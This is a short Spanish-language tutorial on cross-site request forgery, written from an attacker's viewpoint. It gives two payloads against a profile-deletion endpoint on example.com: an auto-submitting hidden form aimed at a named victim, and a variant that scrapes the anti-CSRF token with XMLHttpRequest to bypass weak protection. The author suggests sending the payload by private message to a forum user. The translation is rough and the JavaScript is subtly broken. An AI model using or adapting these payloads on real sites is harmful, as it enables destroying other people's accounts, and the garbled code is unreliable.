Aquí hay un ejemplo básico de CSRF.
<form name="Delete-account-confirmation" action="http://example.com/profile.php?action=deleteprofile" method="post" enctype="multipart/form-data">
<input type="hidden" name="Username" value="DonaldT">
<input type="hidden" name="Checkbox-confirmation" value="on">
</form>
<script>document.Delete-account-confirmation.submit()</script>
Nota: El uso de un sitio web de un tercero no es necesariamente obligatorio para los ataques CSRF, puedes hacer algunos daños solo con <img src="CSRF" />
¿Por qué no funciona esto?
Digamos que example.com es un foro. Este foro permite que los usuarios registrados envíen pm a otros usuarios registrados. Entonces, como atacante, puedo tratar de ofuscar el CSRF y enviarlo por PM al usuario que quiero dañar, y hacer que ejecute el código malicioso independientemente de su voluntad.
En el código anterior, la víctima es DonaldT.
Así que envié este mensaje malicioso malicioso a DonaldT, él abre el mensaje y ejecuta el código mientras está registrado en el example.com. ¿La cookie de sesión y el token de sesión serán diferentes? Sí, en este caso, su sistema de prevención debería funcionar.
Pero, dependiendo de la implementación de su token Anti-CSRF, si es deficiente Hay una implementación , podría ser evadida por algo como esto:
Ataque CSRF de evasión de fichas
<body onload="get()">
<form name="Delete-account-confirmation" action="http://example.com/profile.php?action=deleteprofile" method="post" enctype="multipart/form-data">
<input type="hidden" name="Username" value="DonaldT">
<input type="hidden" name="Checkbox-confirmation" value="on">
<input type="hidden" id="forged-token" name="token" value=""/>
<input type="submit" value="go"/>
</form>
<script>
var x = new XMLHttpRequest();
function get() {
x.open("GET","?action=deleteprofile",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("forged-token").value = token;
document.getElementById("Delete-account-confirmation").submit();
}
}
</script>
Fuente externa que te recomiendo leer.
owasp
Recuerde que todas las cookies, incluso las secretas, se enviarán
con cada petición. Todos los tokens de autenticación serán enviados
independientemente de si el usuario final fue engañado o no para enviar
la solicitud. Además, los identificadores de sesión son simplemente utilizados por el
contenedor de aplicaciones para asociar la solicitud con una sesión específica
objeto. El identificador de sesión no verifica que el usuario final
destinado a presentar la solicitud.